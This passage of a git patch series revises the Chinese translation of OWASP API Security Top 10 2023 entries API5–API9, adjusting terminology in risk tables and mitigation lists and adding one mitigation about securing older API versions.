\347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" +++ "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" @@ -1,14 +1,14 @@ -API5:2023 破损的功能级别授权 +API5:2023 损坏的功能级别授权 ============================================= -| 威胁来源/攻击向量 | 安全弱点 | 影响 | +| 威胁来源/攻击特征 | 安全弱点 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API特定:可利用性3 | 普及率2:可检测性1 | 技术2:业务特定 | +| API相关:可利用性3 | 普及率2:可检测性1 | 技术2:业务相关 | | 攻击者利用合法的API调用访问不应该访问的API端点。这些端点可能对匿名用户或普通非特权用户开放。由于API更为结构化,访问某些函数的方式更为可预测(例如将HTTP方法从GET更改为PUT,或更改URL中的“用户”字符串为“管理员”),因此在API中发现这些漏洞更为容易。 | 对于功能或资源的授权检查通常是通过配置管理的,有时是在代码级别进行的。实现适当的检查可能是一项困惑的任务,因为现代应用程序可能包含许多类型的角色或组以及复杂的用户层次结构(例如子用户或具有多个角色的用户)。检测依赖于适当的日志记录和监控。 | 此类漏洞允许攻击者访问未经授权的功能。行政功能是此类攻击的主要目标。 | ## API是否易受攻击? -查找破损的功能级别授权问题的最佳方法是对授权机制进行深入分析,同时考虑用户层次结构、应用程序中的不同角色或组,并提出以下问题: +查找损坏的功能级别授权问题的最佳方法是对授权机制进行深入分析,同时考虑用户层次结构、应用程序中的不同角色或组,并提出以下问题: - 普通用户是否可以访问行政端点? - 用户是否可以通过更改HTTP方法(例如从GET更改为DELETE)来执行他们不应该访问的敏感操作(例如创建、修改或删除)? @@ -65,4 +65,4 @@ API 包含一个仅应暴露给管理员的端点- `GET /api/admin/v1/users/all` [1]: https://owasp.org/www-community/attacks/Forced_browsing [2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf [3]: https://owasp.org/www-community/Access_Control -[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git "a/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" "b/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" index 74222b55d..b6e3e0dc1 100644 --- "a/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" +++ "b/2023/zhCN/API6:2023 \346\234\215\345\212\241\345\231\250\347\253\257\350\257\267\346\261\202\344\274\252\351\200\240.md" @@ -1,11 +1,11 @@ # API6:2023 服务器端请求伪造 -| 威胁因素/攻击向量 | 安全弱点 | 影响 | +| 威胁因素/攻击特征 | 安全弱点 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API特定:可利用性**2** | 普遍性**2**:可检测性**1** | 技术性**2**:业务特定 | -| 攻击者需要找到一个接收URI作为参数的API端点,然后访问提供的URI。大多数常见编程语言内置函数和库存在URL解析不一致的问题。 | 现代应用程序开发的概念鼓励开发人员根据客户端提供的URI访问URI。通常,服务器端数据检索未被记录,或者即使记录了,也有可能未被监控。 | 成功利用可能导致内部服务枚举(例如端口扫描)或信息泄露,绕过防火墙或其他安全机制。在某些情况下,它可能导致拒绝服务(DoS)或服务器被用作代理以隐藏恶意活动。 | +| API相关:可利用性**2** | 普遍性**2**:可检测性**1** | 技术性**2**:业务相关 | +| 攻击者需要找到一个接收URI作为参数的API端点,然后访问提供的URI。大多数常见编程语言内置函数和站点在URL解析不一致的问题。 | 现代应用程序开发的概念鼓励开发人员根据客户端提供的URI访问URI。通常,服务器端数据检索未被记录,或者即使记录了,也有可能未被监控。 | 成功利用可能导致内部服务枚举(例如端口扫描)或信息泄露,绕过防火墙或其他安全机制。在某些情况下,它可能导致拒绝服务(DoS)或服务器被用作代理以隐藏恶意活动。 | -## API是否容易受到攻击? +## API是否易受攻击? 只要API在没有验证用户提供的URL的情况下获取远程资源,就会发生服务器端请求伪造(SSRF)漏洞。这允许攻击者强制应用程序向意外目的地发送精心制作的请求,即使受到防火墙或VPN的保护。 @@ -133,4 +133,4 @@ POST /graphql [1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery [2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html [3]: https://cwe.mitre.org/data/definitions/918.html -[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git "a/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" "b/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" index 6f12aa6cc..ce7eb0c65 100644 --- "a/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" +++ "b/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" @@ -1,12 +1,12 @@ API7:2023 安全配置错误 =================================== -| 威胁因素/攻击向量 | 安全弱点 | 影响 | +| 威胁因素/攻击特征 | 安全弱点 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API专用:可利用性**3** | 普遍性**3**:可检测性**3** | 技术**2**:业务特定 | +| API专用:可利用性**3** | 普遍性**3**:可检测性**3** | 技术**2**:业务相关 | | 攻击者经常试图找到未修补的漏洞、常见的端点或未受保护的文件和目录,以获得对系统的未授权访问或了解。 | 安全配置错误可能发生在API栈的任何级别,从网络级别到应用程序级别。可以使用自动化工具检测和利用错误配置,例如不必要的服务或遗留选项。 | 安全配置错误不仅可以暴露敏感的用户数据,还可以暴露系统细节,导致完整的服务器妥协。 | -## API是否容易受攻击? +## API是否易受攻击? 如果满足以下情况,则API可能容易受攻击: @@ -97,4 +97,4 @@ API的生命周期应该包括以下几个方面: [10]: https://cwe.mitre.org/data/definitions/444.html [11]: https://cwe.mitre.org/data/definitions/942.html [12]: https://csrc.nist.gov/publications/detail/sp/800-123/final -[13]: https://letsencrypt.org/ \ No newline at end of file +[13]: https://letsencrypt.org/ diff --git "a/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" index 12b8e6141..6b07a4a97 100644 --- "a/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" +++ "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" @@ -1,12 +1,12 @@ API8:2023 缺乏对自动化威胁的保护 =================================================== -| 威胁代理/攻击向量 | 安全漏洞 | 影响 | +| 威胁代理/攻击特征 | 安全漏洞 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API特定: 可利用性**3** | 普及率**3**: 可检测性**1** | 技术**1**: 特定于业务 | -| 攻击通常涉及理解API的业务模型,找到敏感的业务流程,自动访问这些流程,对业务造成伤害。 | 分解后,攻击的每个请求都代表完全合法的请求,无法被识别为攻击。只有在考虑服务/应用程序业务逻辑时,才能识别攻击。 | 一般不会出现技术方面的影响。攻击可能会以不同的方式损害业务,例如:1. 防止合法用户购买产品;2. 导致游戏内部经济通货膨胀;3. 允许攻击者发送过多的消息/评论,轻松传播假新闻。 | +| API相关: 可利用性**3** | 普及率**3**: 可检测性**1** | 技术**1**: 特定于业务 | +| 攻击通常涉及理解API的业务模型,找到敏感的业务流程,自动访问这些流程,对业务造成伤害。 | 分解后的攻击,每个请求都代表完全合法的请求,无法被识别为攻击。只有在考虑服务/应用程序业务逻辑时,才能识别攻击。 | 一般不会出现技术方面的影响。攻击可能会以不同的方式损害业务,例如:1. 防止合法用户购买产品;2. 导致游戏内部经济通货膨胀;3. 允许攻击者发送过多的消息/评论,轻松传播假新闻。 | -## API是否容易受攻击? +## API是否易受攻击? 自动化威胁变得越来越具有盈利性、智能化和难以保护,而API经常成为它们的容易目标。传统的防护措施,例如速率限制和验证码,随着时间的推移变得越来越不起作用。例如,运营bot-net的攻击者(用于抢购)可以绕过速率限制,因为他们可以轻松地从世界各地数千个位置/IP地址访问API,只需几秒钟的时间。 @@ -46,7 +46,7 @@ API8:2023 缺乏对自动化威胁的保护 一些保护机制更简单,而另一些则更难以实现。以下方法用于减缓自动化威胁: - 设备指纹识别:拒绝未预期的客户端设备服务(例如无头浏览器)往往会使威胁参与者使用更复杂的解决方案,因此成本更高 -- 人员检测:使用captcha或更高级的生物识别解决方案(例如打字模式) +- 真人检测:使用验证码或更高级的生物识别解决方案(例如输入模式) - 非人类模式:分析用户流以检测非人类模式(例如用户在不到一秒钟的时间内访问“添加到购物车”和“完成购买”功能) - 考虑阻止Tor出口节点和知名代理的IP地址 - 安全和限制直接被机器使用的API(例如开发人员和B2B API)的访问。它们往往是攻击者的易目标,因为它们经常没有实施所有所需的保护机制。 @@ -59,4 +59,4 @@ API8:2023 缺乏对自动化威胁的保护 * [API10:2019 Insufficient Logging & Monitoring][2] [1]: https://owasp.org/www-project-automated-threats-to-web-applications/ -[2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xaa-insufficient-logging-monitoring.md \ No newline at end of file +[2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xaa-insufficient-logging-monitoring.md diff --git "a/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" index d9291fc10..dc9c9a628 100644 --- "a/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" +++ "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" @@ -1,28 +1,28 @@ -API9:2023 库存管理不当 +API9:2023 资产管理不当 ======================================= -| 威胁因素/攻击向量 | 安全漏洞 | 影响 | +| 威胁因素/攻击特征 | 安全漏洞 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API特定: Exploitability 3 | Prevalence 3: Detectability 2 | 技术2: 业务特定 | +| API相关: 可利用性 3 | Prevalence 3: 可检测性 2 | 技术2: 业务相关 | | 威胁因素通常通过旧的API版本或未修补的端点获取未授权访问,并使用较弱的安全要求。或者,他们可能通过与没有共享数据原因的第三方获取对敏感数据的访问。 | 过时的文档使查找和/或修补漏洞更加困难。缺乏资产清单和退役策略会导致运行未修补的系统,从而导致敏感数据泄漏。由于现代概念(例如云计算,K8S)使应用程序易于部署和独立,因此通常可以找到不必要暴露的API主机。 | 攻击者可以通过连接到同一数据库的旧未修补的API版本获取对敏感数据甚至服务器的控制权。 | -## API是否容易受攻击? +## API是否易受攻击? API和现代应用程序的扩散和连接性带来了新的挑战。组织不仅需要了解和了解自己的API和API端点,还需要了解API如何存储或与外部第三方共享数据。 运行多个版本的API需要API提供者提供额外的管理资源,并扩展攻击面。 -如果API具有“文档盲区”,则: +如果API具有“文档盲区”,例如: - API主机的目的不清楚,并且没有以下问题的明确答案 - API运行在哪个环境中(例如生产,暂存,测试,开发)? - 谁应该访问API的网络(例如公共,内部,合作伙伴)? - 运行哪个API版本? - 没有文档或现有文档未更新。 -- 没有每个API版本的退役计划。 -- 主机库存缺失或过时。 +- 没有每个API版本的下线计划。 +- 站点资产缺失或过时。 -在发生第三方侧的违规事件时,敏感数据流的可见性和清单起着重要作用。 +在由第三方引起的违规事件时,敏感数据流的可见性和清单起着重要作用。 如果API存在“数据流盲区”,则: @@ -47,8 +47,8 @@ API和现代应用程序的扩散和连接性带来了新的挑战。组织不 ## 如何预防 -- 列出库存所有 API 主机并记录每个主机的重要方面,重点关注 API 环境 (例如生产、暂存、测试、开发)、谁应该访问主机 (例如公共、内部、合作伙伴) 和 API 版本。 -- 列出所有库存集成服务并记录其在系统中的角色、交换的数据 (数据流) 和敏感度等重要方面。 +- 列出站点所有 API 主机并记录每个主机的重要方面,重点关注 API 环境 (例如生产、暂存、测试、开发)、谁应该访问主机 (例如公共、内部、合作伙伴) 和 API 版本。 +- 列出所有站点集成服务并记录其在系统中的角色、交换的数据 (数据流) 和敏感度等重要方面。 - 记录 API 的全部信息,如身份验证、错误、重定向、速率限制、跨源资源共享 (CORS) 策略和端点,包括其参数、请求和响应。 - 通过采用开放标准自动生成文档。将文档生成包含在 CI/CD 管道中。 - 仅向有权使用 API 的人员提供 API 文档。 @@ -61,4 +61,4 @@ API和现代应用程序的扩散和连接性带来了新的挑战。组织不 * [CWE-1059: Incomplete Documentation][1] -[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file +[1]: https://cwe.mitre.org/data/definitions/1059.html From 6a3352da825cf0ff888b100f7ae660427d6d1161 Mon Sep 17 00:00:00 2001 From: hastings0714 Date: Mon, 20 Feb 2023 12:33:20 +0800 Subject: [PATCH 3/3] chore: update 2023 zhCn translation --- ...\272\247\345\210\253\346\216\210\346\235\203.md" | 4 ++-- ...\203\201\347\232\204\344\277\235\346\212\244.md" | 6 +++--- ...\256\241\347\220\206\344\270\215\345\275\223.md" | 13 +++++++------ 3 files changed, 12 insertions(+), 11 deletions(-) diff --git "a/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" index 5d7189928..a197ee7ef 100644 --- "a/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" +++ "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" @@ -10,13 +10,13 @@ API5:2023 损坏的功能级别授权 查找损坏的功能级别授权问题的最佳方法是对授权机制进行深入分析,同时考虑用户层次结构、应用程序中的不同角色或组,并提出以下问题: -- 普通用户是否可以访问行政端点? +- 普通用户是否可以访问管理端点? - 用户是否可以通过更改HTTP方法(例如从GET更改为DELETE)来执行他们不应该访问的敏感操作(例如创建、修改或删除)? - 是否可以猜测端点URL和参数(例如`/api/v1/users/export_all`)并让X组的用户访问应仅向Y组的用户公开的功能? 不要基于URL路径假设API端点是常规的或行政的。 -虽然开发人员可能选择将大多数行政端点公开在特定的相对路径下,例如`/api/admins`,但通常还可以找到这些行政端点与常规端点一起位于其他相对路径下,例如`/api/users`。 +虽然开发人员可能选择将大多数管理端点公开在特定的相对路径下,例如`/api/admins`,但通常还可以找到这些管理端点与常规端点一起位于其他相对路径下,例如`/api/users`。 ## 攻击场景举例 diff --git "a/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" index 6b07a4a97..f88ed3d48 100644 --- "a/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" +++ "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" @@ -40,8 +40,8 @@ API8:2023 缺乏对自动化威胁的保护 应该分两个层面来进行缓解计划: -- 业务 - 确定可能会损害业务的业务流程,如果这些流程过度使用会造成危害。 -- 工程 - 选择适当的保护机制来减轻业务风险。 + - 业务 - 确定可能会损害业务的业务流程,如果这些流程过度使用会造成危害。 + - 工程 - 选择适当的保护机制来减轻业务风险。 一些保护机制更简单,而另一些则更难以实现。以下方法用于减缓自动化威胁: @@ -49,7 +49,7 @@ API8:2023 缺乏对自动化威胁的保护 - 真人检测:使用验证码或更高级的生物识别解决方案(例如输入模式) - 非人类模式:分析用户流以检测非人类模式(例如用户在不到一秒钟的时间内访问“添加到购物车”和“完成购买”功能) - 考虑阻止Tor出口节点和知名代理的IP地址 -- 安全和限制直接被机器使用的API(例如开发人员和B2B API)的访问。它们往往是攻击者的易目标,因为它们经常没有实施所有所需的保护机制。 +- 保护和限制直接被机器使用的API(例如开发人员和B2B API)的访问。它们往往是攻击者的易目标,因为它们经常没有实施所有所需的保护机制。 ## 参考资料 diff --git "a/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" index dc9c9a628..8fc7fdf2c 100644 --- "a/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" +++ "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" @@ -3,7 +3,7 @@ API9:2023 资产管理不当 | 威胁因素/攻击特征 | 安全漏洞 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API相关: 可利用性 3 | Prevalence 3: 可检测性 2 | 技术2: 业务相关 | +| API相关: 可利用性 3 | 普及率**3**: 可检测性 2 | 技术2: 业务相关 | | 威胁因素通常通过旧的API版本或未修补的端点获取未授权访问,并使用较弱的安全要求。或者,他们可能通过与没有共享数据原因的第三方获取对敏感数据的访问。 | 过时的文档使查找和/或修补漏洞更加困难。缺乏资产清单和退役策略会导致运行未修补的系统,从而导致敏感数据泄漏。由于现代概念(例如云计算,K8S)使应用程序易于部署和独立,因此通常可以找到不必要暴露的API主机。 | 攻击者可以通过连接到同一数据库的旧未修补的API版本获取对敏感数据甚至服务器的控制权。 | ## API是否易受攻击? @@ -35,7 +35,7 @@ API和现代应用程序的扩散和连接性带来了新的挑战。组织不 ### 场景 #1 -一家社交网络实施了一个限制频率机制,阻止攻击者使用暴力破解猜测重置密码令牌。这个机制不是作为 API 代码本身的一部分实现的,而是在客户端和官方 API ([www.socialnetwork.com](http://www.socialnetwork.com/)) 之间的一个独立组件中实现的。一位研究人员发现了一个运行相同 API 的 beta API 主机 ([www.mbasic.beta.socialnetwork.com),包括重置密码机制,但限制频率机制没有实施。研究人员能够通过简单的暴力破解来猜测](http://www.mbasic.beta.socialnetwork.xn--com)%2C%2C-1f2mq6vcaa00yt81c8qa582goukyzfp0aea8510a8u7a6rvrx4bj89fhsyafqn.xn--gmq77g6pl6az5ndywp9af70a4wmbjiuneglg4wrzdd91aur6aj6uxkb/) 6 位数令牌,重置任何用户的密码。 +一家社交网络实施了一个限制频率机制,阻止攻击者使用暴力破解猜测重置密码令牌。这个机制不是作为 API 代码本身的一部分实现的,而是在客户端和官方 API ([www.socialnetwork.com](http://www.socialnetwork.com/)) 之间的一个独立组件中实现的。一位研究人员发现了一个运行相同API的测试版 API 主机 ([www.mbasic.beta.socialnetwork.com](http://www.mbasic.beta.socialnetwork.com/)),包括重置密码机制,但限制频率机制没有实施。研究人员能够通过简单的暴力破解来猜测6位数令牌,重置任何用户的密码。 ### 场景 #2 @@ -47,13 +47,14 @@ API和现代应用程序的扩散和连接性带来了新的挑战。组织不 ## 如何预防 -- 列出站点所有 API 主机并记录每个主机的重要方面,重点关注 API 环境 (例如生产、暂存、测试、开发)、谁应该访问主机 (例如公共、内部、合作伙伴) 和 API 版本。 -- 列出所有站点集成服务并记录其在系统中的角色、交换的数据 (数据流) 和敏感度等重要方面。 -- 记录 API 的全部信息,如身份验证、错误、重定向、速率限制、跨源资源共享 (CORS) 策略和端点,包括其参数、请求和响应。 +- 梳理所有API主机清单,并记录每个主机的重要信息,着重于API环境(例如生产、暂存、测试、开发)、谁应该具有对主机的网络访问权限(例如公共、内部、合作伙伴)和API版本。 +- 梳理所有集成服务清单,并记录其在系统中的角色、交换的数据(数据流)以及其敏感性等重要方面。 +- 记录 API 的全部信息,例如身份验证、错误、重定向、速率限制、跨源资源共享 (CORS) 策略和端点,包括其参数、请求和响应。 - 通过采用开放标准自动生成文档。将文档生成包含在 CI/CD 管道中。 -- 仅向有权使用 API 的人员提供 API 文档。 +- 仅向获得使用API授权的人员提供API文档。 - 使用外部保护措施,例如针对所有公开版本的 API 的 API 安全专用解决方案,而不仅仅是当前的生产版本。 - 避免在非生产 API 部署中使用生产数据。如果无法避免,这些端点应该得到与生产端点相同的安全处理。 +- 当新版本的API包含安全改进时,执行风险分析以了解对旧版本所需的缓解措施。例如,是否可能将这些改进反向移植而不会破坏API兼容性,或者是否需要迅速将旧版本取出并强制所有客户端移动到最新版本。 ## 参考资料